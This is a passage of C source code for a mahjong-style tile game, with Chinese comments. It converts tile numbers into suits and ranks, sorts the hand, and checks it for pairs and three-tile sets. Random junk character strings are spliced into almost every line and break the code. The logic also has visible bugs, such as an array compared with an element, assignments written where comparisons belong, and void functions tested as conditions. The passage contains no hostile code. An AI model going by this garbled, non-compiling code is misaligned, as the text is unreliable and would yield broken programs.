else if(computer.pp[c].number&lt;=43 &amp;&amp; computer.pp[c].number&gt;=40)8 z: A% I+ f' E4 {7 k4 |- y
logoo=2;
# F& @; n0 u7 t; v: C. ^* ]4 uelse if(computer.pp[c].number&lt;=47 &amp;&amp; computer.pp[c].number&gt;=44)
9 Q1 v8 c" i6 q0 c' Alogoo=3;3 @. W7 ]4 N: s3 Q
else if(computer.pp[c].number&lt;=51 &amp;&amp; computer.pp[c].number&gt;=48)
1 x$ I  z7 }( t# ylogoo=4;
% v2 q9 N2 u) m7 S& Xelse if(computer.pp[c].number&lt;=55 &amp;&amp; computer.pp[c].number&gt;=52)& ~$ O$ `" G% v# Q1 M1 Q5 Z
logoo=5;% U. a+ b) M3 ^, Z( K2 O/ P
else if(computer.pp[c].number&lt;=59 &amp;&amp; computer.pp[c].number&gt;=56)
# {# |! U) R/ R! y4 V' k. H! d" v1 rlogoo=6;
2 K2 }* @0 l; V* k1 r: d8 D& Welse if(computer.pp[c].number&lt;=63 &amp;&amp; computer.pp[c].number&gt;=60)( ^! v6 c  L& `8 L* y$ F" j( n
logoo=7;, L' a! b; F+ T2 m
else if(computer.pp[c].number&lt;=67 &amp;&amp; computer.pp[c].number&gt;=64)7 {) p  i! ?1 D
logoo=8;1 Y9 e2 _2 C* i+ M- G9 L
else if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=68)
) A" V# X0 x- K9 @8 w5 o% t. slogoo=9;
4 L/ ?, p' `: A8 X, x}2 v) U& B: j. }  H' \
else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=72)9 D  o6 r+ Y' H; D
{
( J: t  k# r5 \& }6 Z& T) b6 wlogo=3;6 p: C& A( K7 _) d- g0 G5 C
if(computer.pp[c].number&lt;=75 &amp;&amp; computer.pp[c].number&gt;=72)7 N, [2 ?& E0 k5 S, X/ u6 @
logoo=1;( W4 q" V' E" J- l
else if(computer.pp[c].number&lt;=79 &amp;&amp; computer.pp[c].number&gt;=76); a, S: [. v. r; V) V, @% h
logoo=2;; m5 t( U" g1 h5 D( ]* D
else if(computer.pp[c].number&lt;=83 &amp;&amp; computer.pp[c].number&gt;=80)# R8 o/ j9 d$ c) q: t* ~
logoo=3;
/ N5 f+ U5 x1 _3 b4 g" y3 belse if(computer.pp[c].number&lt;=87 &amp;&amp; computer.pp[c].number&gt;=84)5 I; Y) U6 h; h1 p2 J2 T4 A
logoo=4;
/ [% n1 N3 D3 W; G9 H7 q( t5 Uelse if(computer.pp[c].number&lt;=91 &amp;&amp; computer.pp[c].number&gt;=88)$ w. D/ [* T0 F+ Q. ^: j
logoo=5;
0 ]' \1 v* F& ielse if(computer.pp[c].number&lt;=95 &amp;&amp; computer.pp[c].number&gt;=92)* w8 y5 G. X/ }; X
logoo=6;
1 W7 r3 D* N8 W7 ielse if(computer.pp[c].number&lt;=99 &amp;&amp; computer.pp[c].number&gt;=96)& f' F1 e' L2 n( @  d: Z
logoo=7;
" D+ J2 W+ U: s7 ?+ n1 H! kelse if(computer.pp[c].number&lt;=103 &amp;&amp; computer.pp[c].number&gt;=100)
6 p0 n& O, I6 ^logoo=8;
9 [3 ~0 F1 i" t* {4 Pelse if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=104)
7 R- p2 o/ o# ?$ d$ }$ \, G/ Nlogoo=9;
2 x: _- |/ i% _}
0 z2 K; v0 \# c* H& p" P: s, C' relse if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=108)
: Q, F* k, Y4 L* h! R$ u8 h{6 P, O9 ^! ?7 C* y9 e
logo=4;+ O$ o) |$ k4 f* f( I
if(computer.pp[c].number&lt;=111 &amp;&amp; computer.pp[c].number&gt;=108)# J: f" V* ^$ Y! e3 ~+ i
logoo=1;& o8 i% X) B# E. G( Z
else if(computer.pp[c].number&lt;=115 &amp;&amp; computer.pp[c].number&gt;=112)
, ~% {2 u' Z) k' u  `( ylogoo=2;% j+ f  i" Y* Y9 B' q' `1 n3 P
else if(computer.pp[c].number&lt;=119 &amp;&amp; computer.pp[c].number&gt;=116)
9 U/ F5 m: Z: G5 W' [; tlogoo=3;
4 k% K. p4 j1 l- P$ ^else if(computer.pp[c].number&lt;=123 &amp;&amp; computer.pp[c].number&gt;=120)
7 Q$ X9 a+ z3 A# Q. ilogoo=4;; p" D4 [; E* _* `
else if(computer.pp[c].number&lt;=127 &amp;&amp; computer.pp[c].number&gt;=124)
. Q. m7 j$ k! s6 q: Xlogoo=5;
. c, T0 K& a# ?  J. p- Celse if(computer.pp[c].number&lt;=131 &amp;&amp; computer.pp[c].number&gt;=128)
/ C& [' ^0 R9 D) Ilogoo=6;
3 F& y  Y2 E2 gelse if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=132)0 c  Q4 I" u- J0 T* p
logoo=7;
$ T# O) e1 w% n+ c# G}! [: R5 M- _( w" ^+ H
while(b&lt;=me.m)1 i" i- p% ^& k7 H) |7 o; A0 j
{9 g8 a. [6 b% E" J, k
if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=0) /*我分析后出了第一张牌*/$ [# `7 R- P/ w) h
{. B$ c8 x3 v$ Y  Q
lg=1;
8 Z8 i" H# p; u; K5 }' zme.pp.d[0]=1;% L. D7 t4 y) ~1 y4 g# j7 t4 s
if(me.pp.number&lt;=3 &amp;&amp; me.pp.number&gt;=0)1 a( g5 o2 _3 Q8 s' H( j* L7 v& L, C
{
9 r' A, O5 C3 t2 g: J# Wlgg=1;  [: m* d8 ~# B  B
me.pp.d[1]=1;0 m2 T; M* A% \8 |
}
: U0 \5 H8 ^* t2 @' ~* {, Nelse if(me.pp.number&lt;=7 &amp;&amp; me.pp.number&gt;=4)
- _& [9 H8 `/ V: b{3 F# L, E+ b9 K( |
lgg=2;
3 k  }8 Z9 [3 B. H7 {+ e8 {me.pp.d[1]=2;
* M9 C, b9 I( ]* @}
) t5 E- q! W1 n8 T8 n, Telse if(me.pp.number&lt;=11 &amp;&amp; me.pp.number&gt;=8)9 w- K1 Q$ \# _9 w$ n( a
{- E- |6 Y' a4 j1 Q0 B
lgg=3;$ X& o5 q9 W# m
me.pp.d[1]=3;9 [1 p4 f; K3 N# J9 b5 T" E1 _
}
' M$ d5 o- Z& [$ n1 v5 velse if(me.pp.number&lt;=15 &amp;&amp; me.pp.number&gt;=12)
' U5 R) F9 k6 H3 R( |( a{8 r1 [. P2 O! G8 L6 Q+ o0 {
lgg=4;- ~+ w2 n' k2 Y4 T% }
me.pp.d[1]=4;
9 s) H! B9 H0 u* ]3 M}- l! M' p3 `8 s% ~2 }# n* |
else if(me.pp.number&lt;=19 &amp;&amp; me.pp.number&gt;=16)$ v" K% s1 T* i$ Z* R& }4 H# M
{
; M4 Y5 z/ |3 M: ilgg=5;
7 A% G# k- \5 xme.pp.d[1]=5;
9 C) I' C2 T1 O2 e3 @5 N}
9 P6 M( I* f! [  D2 \. v; Y! |& oelse if(me.pp.number&lt;=23 &amp;&amp; me.pp.number&gt;=20)6 I! R, d3 i; j4 o$ p$ P7 Q0 e- N
{6 B9 u* d6 S$ T! c6 L3 A& T$ g. ~
lgg=6;9 _5 \4 ]) N0 P( t/ m4 f( @
me.pp.d[1]=6;1 A8 K9 X$ e; |1 x
}
- K! k# B$ f% l: l6 i1 ?2 ?else if(me.pp.number&lt;=27 &amp;&amp; me.pp.number&gt;=24)
9 g* s1 H7 ~3 L{
# b/ Z# L. m3 @lgg=7;/ v; ]2 [8 E: n
me.pp.d[1]=7;+ Q3 J. H1 v  k  w. H; \
}
" x& [) H+ U: l2 b- E2 _6 ^# S9 telse if(me.pp.number&lt;=31 &amp;&amp; me.pp.number&gt;=28)
6 M2 q/ g  ~& W" `! g  o: M3 U- r6 H8 y{& N$ S1 W- I8 A- C! d' V& C( g
lgg=8;) o2 {1 n& r1 c5 c: A, p
me.pp.d[1]=8;6 O8 }. h4 o" s+ C# y0 M
}) |  Y; Y0 m2 Z* q: q8 Q3 s
else if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=32)
3 J* W! T3 C8 V% X{# {9 w8 I$ }1 w6 j4 ~
lgg=9;" M4 b% {: j; S, E
me.pp.d[1]=9;: Z+ u' _1 g5 n' H
}: h! P$ u% S3 _+ k  x+ \0 j/ Q6 q+ m
}$ F, R6 W3 j/ L+ I  l: h5 P) N9 S+ `5 l
else if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=36)
% A) t/ w/ j, z( S{
2 `! I/ g- ?% Jlg=2;
4 S; q: N9 Y! s$ Gme.pp.d[0]=2;; C, F- C4 W5 N4 ]4 n0 E5 ~
if(me.pp.number&lt;=39 &amp;&amp; me.pp.number&gt;=36)
' y( O' K7 L( Z1 X  O{
" F3 S5 T/ V2 q" p' ?) A7 W. Xlgg=1;5 @- b3 s8 S- B8 Z6 c; G+ B# S: x+ i
me.pp.d[1]=1;
) o; n+ m; _' _* Q- F}
' {. ~/ {; ~. ^" H6 [# A4 Telse if(me.pp.number&lt;=43 &amp;&amp; me.pp.number&gt;=40)* H& r6 c4 N" |7 o6 L0 p) @6 t
{& v; x9 [- V  [- ]7 H" o/ v8 v
lgg=2;5 m& X* z2 @/ e/ ~+ Q! v
me.pp.d[1]=2;( b5 m) x# g- z; O+ R, b
}
- n0 K, m! V4 X" I& eelse if(me.pp.number&lt;=47 &amp;&amp; me.pp.number&gt;=44)
) p% j/ q- R( S4 Y5 v  T2 y1 [% [! z{  C; Z! q- S* z) l
lgg=3;
8 X: s- d& W; J: S, {' ~# i* wme.pp.d[1]=3;! ]9 H- U) S, a% z* f) x1 Q5 q8 Z$ K8 Y
}
" |! Y* A' J7 O, m8 R, Ielse if(me.pp.number&lt;=51 &amp;&amp; me.pp.number&gt;=48)( v( V! i( Z; C4 ~* y# a9 ?
{
# `! @/ M* L! Y1 M4 Flgg=4;
, |/ F. R6 o0 D6 L( ?! h$ M0 D, K! Nme.pp.d[1]=4;
6 p$ T  s* v$ J0 s5 a7 O}. g3 S9 D3 J5 m" O/ m" n4 H
else if(me.pp.number&lt;=55 &amp;&amp; me.pp.number&gt;=52); n' `3 ]3 y$ O& `& F
{
2 d" K/ k2 U3 P! G3 O3 L+ plgg=5;7 E& Q7 W; f6 T3 [3 \! X1 J
me.pp.d[1]=5;; E$ ~9 x* {- [  S: `8 G
}8 E) f8 u( p; D  b3 N! @
else if(me.pp.number&lt;=59 &amp;&amp; me.pp.number&gt;=56)  \; I) ]3 a, D) W! V& l- k
{$ R" U6 f: `. `$ j
lgg=6;
* k+ l8 r- Q% d" y4 E  u. Vme.pp.d[1]=6;
1 [6 {: ~# p3 E& p6 f2 l) D% W" W}
4 z5 s1 q7 M- `3 X8 Celse if(me.pp.number&lt;=63 &amp;&amp; me.pp.number&gt;=60)7 k$ F4 i, _; Z( |* G
{
$ _8 T, }; y1 M$ A2 A/ Nlgg=7;
  o- u1 w3 X9 w& f3 L1 Kme.pp.d[1]=7;8 r( r" \: m# p. N3 b) F
}
$ l0 \" M9 M, ]else if(me.pp.number&lt;=67 &amp;&amp; me.pp.number&gt;=64)% {* i) {1 e  h9 L
{
2 Q6 i. S9 j2 w, k( T+ Nlgg=8;
, z! W0 s% [- z& b; Eme.pp.d[1]=8;
6 }- ~. I# W% h) T* v: h}
* G( \% G5 P+ Q6 G8 k8 gelse if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=68)
, ~. Y; d$ ?+ G{
5 E: a0 _# n- V* @  Qlgg=9;
) ?# t9 e4 K  ^3 Mme.pp.d[1]=9;
3 J7 ~$ r" i' J  d/ B9 v1 q' R/ V}
3 m" Q7 B; S! S) t* Z; u5 h}
. i, f# _" f! z! aelse if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=72)
7 N5 Q: {: j: u! S- r( V/ t8 U: f{
) m  x; f5 G, d  A3 z- e& p* @/ ilg=3;8 P) B4 [, w& {% i5 P- x( s
me.pp.d[0]=3;
1 G; A  b$ u: x, T* M4 Y0 H: yif(me.pp.number&lt;=75 &amp;&amp; me.pp.number&gt;=72)
4 ~! y4 \/ [3 p* r1 B{$ B7 Y4 ?8 e% G( G% ~' J& {. g
lgg=1;
# r. d0 S) c- P' eme.pp.d[1]=1;+ z9 I, C4 C/ n) K* m  i5 ~7 {! w# F$ R
}
& ]2 S, S2 z3 R$ kelse if(me.pp.number&lt;=79 &amp;&amp; me.pp.number&gt;=76)
; D, X! l. n$ O: a4 q& T" d, E: V{
3 P5 a/ r/ A! b! O: o% d" Glgg=2;
/ c# K" @3 ~, |, @me.pp.d[1]=2;/ k% F/ I5 U% {' W
}  |- o& x0 [, d# N1 z1 s7 y2 \2 h
else if(me.pp.number&lt;=83 &amp;&amp; me.pp.number&gt;=80)2 a  O  R3 l$ v% ]
{4 `  M) G- R" w/ r
lgg=3;
4 I" J" V5 G) F+ Tme.pp.d[1]=3;" d1 }8 @1 ?' x& E
}
' |7 G* {% |* H+ F: W* ^: relse if(me.pp.number&lt;=87 &amp;&amp; me.pp.number&gt;=84)
- O% a4 ~3 C) V{8 B: k- \+ Z( T. j- ?% O
lgg=4;, Y+ b  N! o$ n4 E, I2 h5 ]
me.pp.d[1]=4;
2 F$ L9 d3 T9 M9 Q) V8 G0 c}( f! u. B2 k: R+ W- p/ L
else if(me.pp.number&lt;=91 &amp;&amp; me.pp.number&gt;=88)
# W+ k0 `2 J& N{5 m6 o+ t( i3 B' V
lgg=5;2 d& j5 u$ Y# `% R$ q% K/ L
me.pp.d[1]=5;
; N6 R8 E' p$ H}
+ ^$ }$ H0 o/ X( }9 y( j# z+ melse if(me.pp.number&lt;=95 &amp;&amp; me.pp.number&gt;=92)
% b& H! n$ C+ \! G3 M{  B  N2 K2 p; T! {  ?; E, t5 I# ]
lgg=6;
/ l! f" U4 q* \% X' |8 W; kme.pp.d[1]=6;
6 S1 H$ v- Z' V6 o8 r( E' G}
' Y1 X3 r( Z7 u+ w) k6 T- x4 Celse if(me.pp.number&lt;=99 &amp;&amp; me.pp.number&gt;=96)" a, P4 r& z1 ]2 Z2 l
{. S: [  k3 o/ V' a, X' u
lgg=7;
! T, z( T: n( ome.pp.d[1]=7;& ]2 M& ^3 s2 M& l
}
$ y" w* `& y/ d1 n: Kelse if(me.pp.number&lt;=103 &amp;&amp; me.pp.number&gt;=100)
  w6 `+ A4 ~5 r3 v! G{9 M% b" u- p+ K6 I- U
lgg=8;
. ^# _3 r2 t" @. o$ bme.pp.d[1]=8;
0 B2 K! I' S* q+ M6 N: @  O, v}
, `, O3 h, E. p! Z( telse if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=104)  E8 Y# s( }( f2 J6 k
{
( k' W: B" o$ N' p3 xlgg=9;% i/ ]  e, I/ e7 A3 _
me.pp.d[1]=9;
& w8 R( x  R) n}
5 A' j: q- B% y+ k}
$ f( B0 m; g: R8 e! A$ |7 Qelse if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=108)2 C5 R9 ^3 E# w# y3 f
{3 S' D( `+ \. M# {7 ~! C
lg=4;
8 K2 D; F8 F" J. Ume.pp.d[0]=4;( X/ y) x7 [% l/ s! W8 u9 H
if(me.pp.number&lt;=111 &amp;&amp; me.pp.number&gt;=108)
/ ?2 F/ q: t) Q4 e{1 x0 V2 n3 @4 Z
lgg=1;3 `0 m4 g/ s7 s+ p$ n
me.pp.d[1]=1;
' `2 `6 P3 I2 B0 q}7 L: G9 I  v( Z- ?6 [+ z
else if(me.pp.number&lt;=115 &amp;&amp; me.pp.number&gt;=112); Z, I) }0 g. g* G' b6 A$ {5 B+ S
{2 Y! w2 r: u, ?
lgg=2;7 `) `( l  X- ~9 y
me.pp.d[1]=2;' s' Z- e/ F& H" R1 g
}
: [+ A: t0 _  @. H2 T7 j2 a, Y& eelse if(me.pp.number&lt;=119 &amp;&amp; me.pp.number&gt;=116)6 C5 _1 g! p; M0 y) z* B) b% w% J
{
0 e! h. c7 g9 P/ b. Olgg=3;0 F7 N- H! l: _& D
me.pp.d[1]=3;
4 {+ r' H9 h0 [4 t}: \) N( K0 X$ I/ F2 M! y) ^" w# M7 Z
else if(me.pp.number&lt;=123 &amp;&amp; me.pp.number&gt;=120)
- V5 m4 c8 p. K7 C& S0 y5 N; N{3 C4 \6 D+ m/ w8 }& L  i; I
lgg=4;! h& H, Q- n( }; U$ h: p0 H
me.pp.d[1]=4;  }2 O4 t* s; Y  r
}
9 [0 ]- t; p+ g' f  N' h/ Eelse if(me.pp.number&lt;=127 &amp;&amp; me.pp.number&gt;=124)( ?6 b& @% F( ^) W/ B4 w4 y
{0 _, ~/ ]- I- s1 e6 w
lgg=5;
* {- @2 l( b) W. `+ ^! F2 vme.pp.d[1]=5;
* m8 d$ g- z7 U1 s/ m7 _}
" O' v/ q( K! Q' S' Gelse if(me.pp.number&lt;=131 &amp;&amp; me.pp.number&gt;=128)
: y- x- w* L! M% m{
3 |5 A& D' B0 Plgg=6;
. t. z4 R* p0 _: V& t' ame.pp.d[1]=6;- J; ^' B1 h0 M5 y
}9 O) K! O+ Y8 X4 |% w
else if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=132); a- D) Z! X3 ], ?: u
{
; q3 Z$ I& J& W3 c7 f! Qlgg=7;
% c8 g: w5 w' Sme.pp.d[1]=7;
& _8 _; }1 H7 ?) ?1 R" G0 E, r}
3 \/ n( D& h# H4 B7 v}
$ R$ P8 x1 F! a) B: R}
9 S+ q" j2 H) G8 Q; j}
  F( F! R4 }1 D7 o  dvoid istwo(testt)
$ q: G! S# ^% O* fint testt[];; [# `7 R% T6 \, _3 Q% g! ^( t2 g
{ if(testt[0]==testt[1])
$ P1 E1 N) F6 o0 }/ p1 t$ Zsecond++;; l9 D  ]; _9 V. d
}  N3 }# W, ~" i1 _6 r" Q3 r" d
void isthree(testt,n)
( Q, O0 P' C% P) n/ P( aint testt[],n=0;
5 c. l3 j# K( }4 T" t{ int i,j,flage=0,lianx=0,same=0;
& g6 c- ^( N2 u. K9 B' Tn=n/3;3 ?5 m2 j! r$ N6 u5 l/ ]8 u  o" J
for(j=0;j&lt;n;j++)% N8 D. D, r4 g
{( |9 Q! w; S' `0 o* a
for(i=j*3;i&lt;2+j*3;i++)+ [- F- K& M0 p- p5 z' i" F
{
8 m% K: h3 ^6 _0 {, o% j5 t+ N  dif(testt==testt[i+1])
( T$ M/ P, ~; [/ Msame++;
/ u9 n4 J9 W4 ~/ n+ F* i' B2 Sif(testt[i+1]-testt==1)
% `; V" F) o$ @  o! P7 j8 Rlianx++;2 q, D3 L) \# o2 O& X  t
}9 B# r/ Q" F  j- q5 h1 Z8 }1 j
if(same==2)
1 A* `! ~- S2 ^threes++;: w" Q5 D7 j& c0 ?7 Q
if(lianx==2)
! g+ e6 ?) {, N5 [& [1 U# Othrees++;
* A2 O3 Q" T& ]6 gsame=0;" A0 E. }( a2 z
lianx=0;
! \5 l' B3 f8 P: D/ V}
" V( Z: s1 D: A1 l9 S}
- z1 D" j0 N1 L; O1 e3 R3 hvoid panduan() /*本程序的精髓*/
+ w  v8 P! w0 R! P9 e% N2 Y- C{int data[14];6 k9 {6 `# i0 s$ \4 H/ M: j
int pw[14];# j& M% j, u: P: h
int pt[14];
/ Q# e# w- U( b% }int pi[14];6 N, Y7 @3 _7 e: V9 K% P/ p
int pf[14];  k  L* g4 P) c# G' z) l# I' ?
int test[12];
: k2 S  s, i6 Q0 Y  M% ?8 B' r, I& {int jj,w,mm,nn,tpp=0,lp=0,ww=0,tt=0,ii=0,ff=0;ill=0;
  J) K5 t" T, `4 Zfor(jj=0;jj&lt;=me.m;jj++)
  f$ s8 ?# W/ F* ?7 n3 U' U; d{+ j8 f' ~' b" w1 c  s: G% X$ Y
if(me.pp[jj].d[0]==1)
: ~# V* ]: N& B8 i- Ldata[jj]=me.pp[jj].d[1];
+ q! L. o) O" P7 T9 jif(me.pp[jj].d[0]==2); l: I9 N+ B% b/ }8 P) A
data[jj]=me.pp[jj].d[1]+10;, l7 |6 Q5 }0 [4 w$ E' r' C
if(me.pp[jj].d[0]==3)( A% ^7 |; x, s5 S0 ~
data[jj]=me.pp[jj].d[1]+20;
( @+ p; L  J% p- Wif(me.pp[jj].d[0]==4)3 i1 x" k+ N& x+ _4 c3 q
data[jj]=me.pp[jj].d[1]+30;4 J" c! B* w1 L8 L1 _1 ~! X* i
}) ~' n; K9 B* b; U+ \2 y
if(logo==2)7 k: C% o- [+ @2 Y  ?
w=logoo+10;  C8 o& g0 \" @, ?$ L6 |
if(logo==3)" n$ D& L8 d. @
w=logoo+20;+ i! K& @9 _: S6 c0 r5 Q0 S4 A) r. O
if(logo==4)2 l# f3 B0 \6 A5 Q/ o
w=logoo+30;2 S; M( W- _5 f$ D
data[computer.m+1]=w;
5 m/ Q0 h* Z% v' i6 b  ~3 v/ Sfor(mm=0;mm&lt;=computer.m;mm++). w( w4 _3 }8 y+ t
for(nn=mm;nn&lt;=computer.m;nn++)) g4 k- N" M6 d) D/ i8 A6 M
if(data[mm]&gt;data[nn+1])1 V) S" y! q5 O+ n
{
6 F) d) J  q" z' m* o" ^0 }% |tpp=data[mm];1 r$ t2 U8 ]1 w# ]" ?* ]' @
data[mm]=data[nn+1];
) b/ H, d6 G" V% G. |  J6 Ddata[nn+1]=tpp;
4 v4 Z/ P9 L3 V" I}
0 j8 D. v  M; Z: D, i; glp=0;
" L: D; _+ @$ r: v$ [+ H6 Ywhile(lp&lt;=computer.m)( @* k& B; o: g( k. W
{ if(data[lp]&lt;10)! [  p. E3 }5 m- m9 J
pw[ww++]=data[lp];3 I' e) }, r( U; z: t
if(data[lp]&gt;10 &amp;&amp; data[lp]&lt;20)
& s7 E0 s* K# n& r$ Z7 i7 F2 Y) vpt[tt++]=data[lp];
' `7 R( D+ h* G  g; vif(data[lp]&gt;20 &amp;&amp; data[lp]&lt;30). @2 R  Z( [! m
pi[ii++]=data[lp];
9 Y$ z3 ]! [2 K: [, X7 F' Vif(data[lp]&gt;30 &amp;&amp; data[lp]&lt;38)
- W4 E( q* e; i( epf[ff++]=data[lp];" D! x4 G. I7 T/ k7 A8 ^5 u
lp++;# X0 W! A9 f4 q) ]6 U2 P# U
}
; c. W, Q) g0 Hif(ww==2): k% K* x: B9 ^0 e6 P! E" b
istwo(pw);
. B% K" y; z0 U- belse if(ww==3)3 n5 G6 X/ I: r  {8 Q
isthree(pw,ww);
9 ~- i/ h$ J0 T# M* {2 h3 R; x# ~% eelse if(ww==5), U& A; N" {; _9 f9 `% G6 q
/*pw[5]原始牌数组,假设已经升序排列*/
; k0 q% C! l6 s; q1 M$ S/*test[3]用来放置测试牌的数组*/, z: k9 T+ J4 d' `4 p
for(i=0;i&lt;4;i++)) T% _! U% k5 g
{
7 w5 p5 _% [$ v6 ^  Y" F' d2 Pfor(j=0;j&lt;2;j++)+ |5 D' \& e! s4 I  y; F% a
{test[j]=pw[i+j];
/ x, k) i0 m! e% q! J8 r}
8 Q1 l6 I/ u9 j! Q" E3 Tif(istwo(test))
  ?4 ]4 b( n( y4 ]: |3 I: d{ ill=0;+ k4 H* i' O5 Q- I
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/6 u/ y& e  X" Q) c5 R
{if(kl==i)
1 J  s* f- n- f# L6 Q& S# |{
' ?8 c( e+ I9 M) N7 [  g& E1 Akl=kl+2;
. N' L. G; B6 R" L7 {if(kl==5)$ }* m, z5 z' U4 y: y7 F8 P
break;
  b4 ^. }9 A/ p- y% c: V: b' \}
4 i, m$ ~7 t- n1 v/ Z0 K& D# Btest[ill++]=pw[kl];
% g4 ?$ j* d7 p1 \6 Y. m}
5 K. X! Q0 a( B3 Disthree(test);
+ m! ?7 t  v5 u( Q+ O: S}# ~1 q3 I! {5 O' d( U
}
# i' E/ j# B# ?; T0 Oelse if(ww==6)
0 i" j: e; e; W4 fisthree(pw,ww); # x  F. v0 i. J" @  s
else if(ww==8)
! t3 |7 \8 o: O) k/ a, {. \6 Ifor(i=0;i&lt;7;i++)
& s/ V1 v  Y- Y{0 D) q$ w+ I, D) [/ d% \9 [8 q
for(j=0;j&lt;2;j++)
' a6 _. p2 R6 N# X% Z6 x# y- w{test[j]=pw[i+j]; 7 M# A; J, X8 x
}
" [. c# G& K$ C% ?% q: }' ]if(istwo(test))
) u1 s2 ~- i; S% K1 Z7 _; B7 k{ ill=0;
3 B0 o" [5 ?+ xfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
, p& F, ], m, |1 b7 y( j& D{if(kl==i)5 ]$ L* c7 ]+ {' X6 x# r
{$ Y3 q8 ~9 ]0 [7 [2 h
kl=kl+2;
: x( J( {% q& X8 W: Sif(kl==8)8 f! J! w8 a+ A* G0 `. P
break;
" I7 q$ K+ s! p# f}. U% a3 J; @; m/ z4 J
test[ill++]=pw[kl];
1 |! u% E/ L" U, f( T}
8 j) T% a) q% a5 c( n6 Tisthree(test,ww-2);   A/ H& \: i% @6 w8 ^
}
: q& V& e+ T% l! e, k# u}
5 f1 t* W' l+ N5 i4 y: g5 [) pelse if(ww==9)
: @2 M, m* B1 P4 F9 L* R( N* X, D& \isthree(pw,ww);
" o! ^2 t" ~! _8 D  i5 xelse if(ww==11)8 ~: v4 c, @" c' H2 O. J; r
for(i=0;i&lt;10;i++)- B7 \& j$ {& x; F) h
{  ^+ \; }  Y6 T# q0 ^
for(j=0;j&lt;2;j++)
1 [/ D  y! Y- V) H: ]: b- O{test[j]=pw[i+j]; 2 L- W# p4 ?# Z, P" c4 \  i
}5 j: O: {9 _6 y+ [: V) n
if(istwo(test))
! n; a7 L+ N" }, Z$ J& u{ ill=0;
1 H; D4 [  @# e  E) I2 xfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
  z3 c# v4 U+ U5 F{if(kl==i)
6 Y! c6 y  a% w& y( M{
9 Y. M5 {+ {' H; t& r1 hkl=kl+2;; G. J; }5 s- r5 f7 d6 X9 b
if(kl==11)! D0 \: l! Y- x4 X) s6 @
break;
/ \$ t  }  A+ P) h+ w, @}$ \4 Y$ Q7 ^0 _8 n. s
test[ill++]=pw[kl];' m: ^) z7 N3 M! I' d0 p8 R! t
}* }% B, @) j8 ^; V8 B/ G7 u
isthree(test,ww-2); ; G; x7 h( D1 {# k' |" r+ t
}& `, \* @7 a+ _; q1 A' t
} 4 x, r. r1 u8 z7 O( }6 z4 {
else if(ww=12)
$ Q9 l0 {& B) V! n: V3 histhree(pw,ww);; U; e4 V9 t9 U
else if(ww=14)
2 I; b2 q6 `& i* m# b4 U6 F# S) wfor(i=0;i&lt;13;i++)
  I! g$ r, x9 A( f3 ~9 C{" }8 t2 {6 O2 Z: k( l; k
for(j=0;j&lt;2;j++)
- U  s5 x; n6 I, l  g" w9 `{test[j]=pw[i+j];! S# O; _0 F; `2 |& i
}
" }3 Y7 g( l/ I" R8 M$ ~6 aif(istwo(test))
1 z2 C7 Z: ?+ b/ J{ ill=0;7 N9 d; \9 z& [
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
7 l# W8 s0 H$ E$ G/ x, a  w. _$ l- }* B{if(kl==i)
9 E4 ~+ E+ P- l* p- `{
0 k6 N$ d0 S) zkl=kl+2;
1 Z( ^* T7 H6 s' ^if(kl==14)
. V5 s1 Q/ N$ M4 t( z2 K3 w" O" i) I# {break;
' s, c: l+ a$ a2 ^: Q* f0 s}
9 {$ \/ U8 f9 b% C7 b" vtest[ill++]=pw[kl];5 R! u1 K7 g+ D# t* n( g  W
}
. V3 \- E2 V1 ^3 l9 R/ L% X/ misthree(test,ww-2); / T3 _( F  @5 h* e" x1 U
}
- X6 k% ]0 R) V& L8 a}
# q# ]( R5 o! F7 \; [if(tt==2)+ X" d. Q) M7 m% S- A) H5 l* B
istwo(pt);
. ?; a% i, F% e" d2 Ielse if(tt==3)# g' P$ ~, S/ q; K" }( P
isthree(pt,tt);1 D& `1 Y; @1 d. l  Q' F
else if(tt==5)6 a0 r* m* {) V' q" G3 F
/*pt[5]原始牌数组,假设已经升序排列*/
- M/ z$ A+ j. g( p# @/*test[3]用来放置测试牌的数组*/. [; K$ H; ?. E- s$ d% O! g
for(i=0;i&lt;4;i++); T8 K5 C6 `* ~/ b
{# h# ]  n8 r/ C
for(j=0;j&lt;2;j++)
. f: n$ e0 k8 s. D{test[j]=pt[i+j]; 6 q% J& ?! J- f5 d# \) w' X
}/ m" ~7 ]+ i0 `$ D5 W- k. C
if(istwo(test))/ y* l: ?$ r3 F
{ ill=0;
' y& t$ F  h/ g/ ~! s/ {% qfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/; {7 ~8 [6 h% K2 ^# c
{if(kl==i)1 P# @+ \# M9 t) b; e  m, o! T
{
4 q1 E8 l* X2 V% _9 bkl=kl+2;' z9 g  t0 P8 o! d
if(kl==5)
/ ~! c7 f! K" |$ z$ Cbreak;% p7 F% `7 b8 C% g3 d
}
! q8 O2 a$ p! Z8 o! A4 \test[ill++]=pt[kl];2 ?9 x: B# A! z
}, h" ]8 I8 v! N- O3 ^9 }+ K
isthree(test);
- y7 E4 H- {, q}7 ?+ S6 N) |  T. ^9 b) g; G3 P
}; \. m2 t8 I/ m: C0 T1 ?2 X
else if(tt==6)
: Y% [/ n0 Q+ I) ]- T3 G  S* X; Oisthree(pt,tt); * ~, F  K7 l6 S0 D7 u  U7 t
else if(tt==8)
0 s+ R, k1 u+ Y  b6 `0 f  dfor(i=0;i&lt;7;i++)
. z6 J, J! ?! C4 ]% X9 K1 ^{
# B  k7 G$ o$ |2 Ofor(j=0;j&lt;2;j++)
